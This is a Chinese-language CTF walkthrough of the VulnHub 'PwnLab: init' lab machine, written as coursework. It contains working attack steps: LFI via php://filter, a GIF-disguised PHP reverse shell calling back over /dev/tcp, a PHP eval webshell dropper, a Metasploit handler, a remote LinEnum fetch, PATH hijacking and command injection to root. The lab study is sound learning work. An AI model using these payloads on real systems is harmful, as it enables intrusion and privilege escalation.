vulnhub pwnlab_init

前言

本文所使用的工具可参考以下仓库:

Awesome_Pentest_Tools: 一站式渗透测试与红队工具合集,旨在帮助渗透测试人员打造自己的工具链

这是一个来自 VulnHub 的靶机项目。

**靶机地址:**https://www.vulnhub.com/entry/pwnlab-init,158/

**难度级别:**Low

注:flag位于/root/flag.txt

靶机描述:

Wellcome to “PwnLab: init”, my first Boot2Root virtual machine. Meant to be easy, I hope you enjoy it and maybe learn something. The purpose of this CTF is to get root and read de flag.

欢迎来到“PwnLab: init”,这是我的第一个 Boot2Root 虚拟机。它旨在简单易上手,希望您玩得开心,并能从中有所收获。本次 CTF 的目标是获取 root 权限并读取 flag。

由于是课程作业,要求复现WP,所以本靶机我们将进行两轮攻击:

  1. 第一轮:复现 Writeup(WP)的方法操作,完成课程要求。
  2. 第二轮:结合自身理解与技巧,尝试更高效或独特的解决方案。

第一轮

这一轮复现WP,解题步骤及描述仅作简单调整

首先不知道靶机的IP,我们要进行一下目标探测。netdiscover (kali自带的基于ARP协议的网段扫描工具)

1
netdiscover

image-20251211162826125

这时候已经知道了目标的IP了。

信息收集,对它进行端口扫描,敏感目录、敏感文件扫描。

1
nmap -p- -A 192.168.100.130

image-20251211163011346

发现对方开放80web端口、3306mysql端口和RPC服务

先去80端口搞一波,看一下主页有三个选项:主页,登录和上传。

直接去上传功能的位置发现想上传必须要登陆,不是未授权访问的页面。 要登陆就需要账号密码,所以暂时搁置等其他线索。注意的一点是,在登陆以及上传的位置可能存在文件包含。就看这个参数有没有过滤,客户端 对这个可不可控。但是就算可能存在文件包含但是也有一个问题。在于有什么文件可以进行包含。

image-20251211163203856

扫一扫路径下都有什么文件。找到有upload文件夹以及upload.php文件还有 config.php和index.php。这些文件:

image-20251211163605651

现在再去判断一下是否存在我们刚才猜测的文件包含的问题。文件包含有很多协议。用其中的filter协议去看能否读出文件源码。(这里演示一下存在的带有后缀和不带后缀的问题)观察原本的结构也是不带有文件后缀的。

1
2
http://192.168.100.130/?page=php://filter/convert.base64encode/resource=config.php (错误)
http://192.168.100.130/?page=php://filter/convert.base64-encode/resource=config (正确)

image-20251211163659983

1
2
3
4
5
6
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

得出重要信息。得到了数据库的账号以及密码。同时结合刚刚在扫描端口 哪里发现了对方是开发3306mysql端口的所以。我们的突破点来了。去连接对方的数据库在里面有什么内容。

image-20251211164007110

突破点来了,有三组账号,且对方的前端是存在登录页面的。而且是可以传文件的。三组账号是加密的但是可以很清楚的判定为base64加密,解密得到明文。

1
2
3
4
5
6
7
kent | Sld6WHVCSkpOeQ==
mike | U0lmZHNURW42SQ==
kane | aVN2NVltMkdSbw==

Kent: JWzXuBJJNy
Mike: SIfdsTEn6I
Kane: iSv5Ym2GRo

可以上传文件了,因为现在有账号密码了。不出意外,不是任意文件上传。这个时候可以白盒也可以黑盒。因为有文件包含漏洞。可以去包含 upload.php去看源码有什么限制。

1
http://192.168.100.130/?page=php://filter/convert.base64-encode/resource=upload

image-20251211164216939

允许.jpg”,”.jpeg”,”.gif”,”.png。检查文件头以及白名单后缀名以及mime类 型,上传后将文件名字重新命名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");

if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}

if(strpos($filetype,'image') === false) {
die('Error 001');
}

if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}

if(substr_count($filetype, '/')>1){
die('Error 003');
}

$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}

?>

接下来就是将反弹shell脚本加上GIF文件头,来混过getimagesize函数检测, 然后另存为.gif图片混过白名单以及mime类型检测,上传成功。

1
2
3
4
5
GIF98a

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.100.129/10086 0>&1'");
?>

image-20251211170130603

先监听10086端口

image-20251211165523838

图片马传上去了之后,要想办法取解析这个图片马,能想到的是解析漏 洞,在或者文件包含,但是在之前的文件包含的位置不能进行执行。去读取首页源码。得到突破点。

1
http://192.168.100.130/?page=php://filter/convert.base64-encode/resource=index

image-20251211165608533

因为在page这个参数上面自动给你添加.php文件后缀名。这也是为什么之前 在利用文件包含时不加文件后缀的原因。在读取首页文件的源码,找到其他可利用的文件包含的位置和字段lang且位置在cookie字段里面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>

截获upload页面的点击数据包。

image-20251211170226693

获取到了shell会话。

image-20251211170247795

还是id一下,不出意外,低等级权限,开始提权。shell看着难受,我们改一下shell。

1
python -c 'import pty; pty.spawn("/bin/bash")'

image-20251211170338013

切换用户。

1
2
su kane
iSv5Ym2GRo

image-20251211170422068

起一个python服务器。

1
python2 -m SimpleHTTPServer

image-20251211170732251

靶机拉取提权检测脚本。

1
wget http://192.168.100.129:8000/LinEnum.sh

提示没权限。找个有权限的目录。

1
find / -type d \( -perm -002 -o -perm -020 \) -ls

image-20251211170612720

切换目录在下载,给文件权限执行shell提权脚本。

1
2
3
4
cd /tmp
wget http://192.168.100.129:8000/LinEnum.sh
chmod 777 LinEnum.sh
./LinEnum.sh

image-20251211170835720

一片红,没找到提权线索。

image-20251211170915752

据我判断就是有什么可执行文件可以进行提权。

image-20251211171033301

1
./msgmike

执行之后告诉我们没有这个文件或者目录,重点是用户目录变了,是 mike。

image-20251211171136194

1
strings msgmike

string命令扎到一行跟报错相关的问题。

image-20251211171230279

报错提示该程序在没有完整路径的情况下调用cat

利用cat命令去查看 /home/mike/msg.txt,但是当前路径时kane的家目录是没有这个文件的

利用环境变量来提权。

查看我们当前的环境变量

1
echo $PATH

image-20251211171338177

在当前目录建立一个cat文件,将环境变量修改为当前家目录,

并将其覆盖掉原来的环境变量,这样路径就完整了。文件也就能执行了.重 点在于我们的用户变了。

1
2
3
4
echo "/bin/bash" > cat
chmod 777 cat
export PATH=/home/kane
./msgmike

image-20251211171558519

切换了用户后首先先把环境变量在恢复。不然原来的命令就出现了问题

1
2
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo $PATH

image-20251211171639033

mike的用户里面也有一个文件,分析一下这个文件

发现输入记录到/root目录中的文本文件中。用户输入传递给/bin/echo命令, 并最终附加到root/messages.txt文件。回显输入后,使用命令注入来执行 Shell。Bash无法正常工作, 换成/bin/sh,获得了root shell。

image-20251211172117005

image-20251211172130773

第二轮

首先不知道靶机的IP,要进行一下目标探测

1
fscan.exe -h 192.168.230.0/24

image-20251211201245176

这时候已经知道了目标的IP了。

信息收集,对它进行端口扫描,敏感目录、敏感文件扫描。

1
fscan.exe -h 192.168.230.130 -p 1-65535

image-20251211201530089

发现对方开放80web端口、3306mysql端口和RPC服务

先去80端口搞一波,看一下主页有三个选项:主页,登录和上传。

直接去上传功能的位置发现想上传必须要登陆,不是未授权访问的页面。 要登陆就需要账号密码,所以暂时搁置等其他线索。注意的一点是,在登陆以及上传的位置可能存在文件包含。就看这个参数有没有过滤,客户端 对这个可不可控。但是就算可能存在文件包含但是也有一个问题。在于有什么文件可以进行包含。

image-20251211201345228

扫一扫路径下都有什么文件。找到有upload文件夹以及upload.php文件还有 config.php和index.php。

这些文件:

image-20251211201438490

现在再去判断一下是否存在我们刚才猜测的文件包含的问题。文件包含有很多协议。用其中的filter协议去看能否读出文件源码。(这里演示一下存在的带有后缀和不带后缀的问题)观察原本的结构也是不带有文件后缀的。

1
2
http://192.168.230.130/?page=php://filter/convert.base64encode/resource=config.php (错误)
http://192.168.230.130/?page=php://filter/convert.base64-encode/resource=config (正确)

image-20251211163659983

1
2
3
4
5
6
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

得出重要信息。得到了数据库的账号以及密码。同时结合刚刚在扫描端口 哪里发现了对方是开发3306mysql端口的所以。我们的突破点来了。去连接对方的数据库在里面有什么内容。

image-20251211202124494

突破点来了,有三组账号,且对方的前端是存在登录页面的。而且是可以传文件的。

三组账号是加密的但是可以很清楚的判定为base64加密,解密得到明文。

1
2
3
4
5
6
kent | Sld6WHVCSkpOeQ==
mike | U0lmZHNURW42SQ==
kane | aVN2NVltMkdSbw==
Kent: JWzXuBJJNy
Mike: SIfdsTEn6I
Kane: iSv5Ym2GRo

可以上传文件了,因为现在有账号密码了。不出意外,不是任意文件上传。这个时候可以白盒也可以黑盒。因为有文件包含漏洞。可以去包含 upload.php去看源码有什么限制。

1
http://192.168.230.130/?page=php://filter/convert.base64-encode/resource=upload

image-20251211164216939

允许.jpg”,”.jpeg”,”.gif”,”.png。检查文件头以及白名单后缀名以及mime类 型,上传后将文件名字重新命名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");

if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}

if(strpos($filetype,'image') === false) {
die('Error 001');
}

if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}

if(substr_count($filetype, '/')>1){
die('Error 003');
}

$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}

?>

接下来就是将反弹shell脚本加上GIF文件头,来混过getimagesize函数检测, 然后另存为.gif图片混过白名单以及mime类型检测,上传成功。

1
2
3
4
5
GIF98a

<?php
fwrite(fopen('1.php','w'),'<?php eval($_POST[1]);?>');
?>

image-20251211203426370

图片马传上去了之后,要想办法取解析这个图片马,能想到的是解析漏 洞,在或者文件包含,但是在之前的文件包含的位置不能进行执行。去读取首页源码。得到突破点。

1
http://192.168.230.130/?page=php://filter/convert.base64-encode/resource=index

image-20251211165608533

因为在page这个参数上面自动给你添加.php文件后缀名。这也是为什么之前 在利用文件包含时不加文件后缀的原因。在读取首页文件的源码,找到其他可利用的文件包含的位置和字段lang且位置在cookie字段里面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>

截获upload页面的点击数据包。

image-20251211204112442

蚁剑连接成功

image-20251211204059417

这里我们上线msf

1
2
3
4
5
use exploit/multi/handler 
set payload php/meterpreter/bind_tcp
set rhost 192.168.230.130
set lport 54522
exploit

image-20251211204459043

还是id一下,不出意外,低等级权限,开始提权。

shell看着难受,我们改为pty

1
python -c 'import pty; pty.spawn("/bin/bash")'

image-20251211204635462

切换用户。

1
2
su kane
iSv5Ym2GRo

image-20251211204708564

起一个HTTP服务

1
python -m http.server

直接去tmp目录,给文件权限执行shell提权脚本。

1
2
3
4
cd /tmp
wget http://192.168.230.128:8000/LinEnum.sh
chmod 777 LinEnum.sh
./LinEnum.sh

image-20251211205043605

一片红,没找到提权线索。

image-20251211205149767

据我判断就是有什么可执行文件可以进行提权。

image-20251211205445341

1
./msgmike

执行之后告诉我们没有这个文件或者目录,重点是用户目录变了,是 mike。

1
strings msgmike

string命令扎到一行跟报错相关的问题。

报错提示该程序在没有完整路径的情况下调用cat

利用cat命令去查看 /home/mike/msg.txt,但是当前路径时kane的家目录是没有这个文件的

利用环境变量来提权。

查看我们当前的环境变量

1
echo $PATH

在当前目录建立一个cat文件,将环境变量修改为当前家目录,

并将其覆盖掉原来的环境变量,这样路径就完整了。文件也就能执行了.重 点在于我们的用户变了。

1
2
3
4
echo "/bin/bash" > cat
chmod 777 cat
export PATH=/home/kane
./msgmike

image-20251211205556946

切换了用户后首先先把环境变量在恢复。不然原来的命令就出现了问题

1
2
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo $PATH

image-20251211205610210

mike的用户里面也有一个文件,分析一下这个文件

发现输入记录到/root目录中的文本文件中。用户输入传递给/bin/echo命令, 并最终附加到root/messages.txt文件。回显输入后,使用命令注入来执行 Shell。Bash无法正常工作, 换成/bin/sh,获得了root shell。

image-20251211212721753


vulnhub pwnlab_init
http://example.com/2026/test43/
作者
sangnigege
发布于
2026年4月15日
许可协议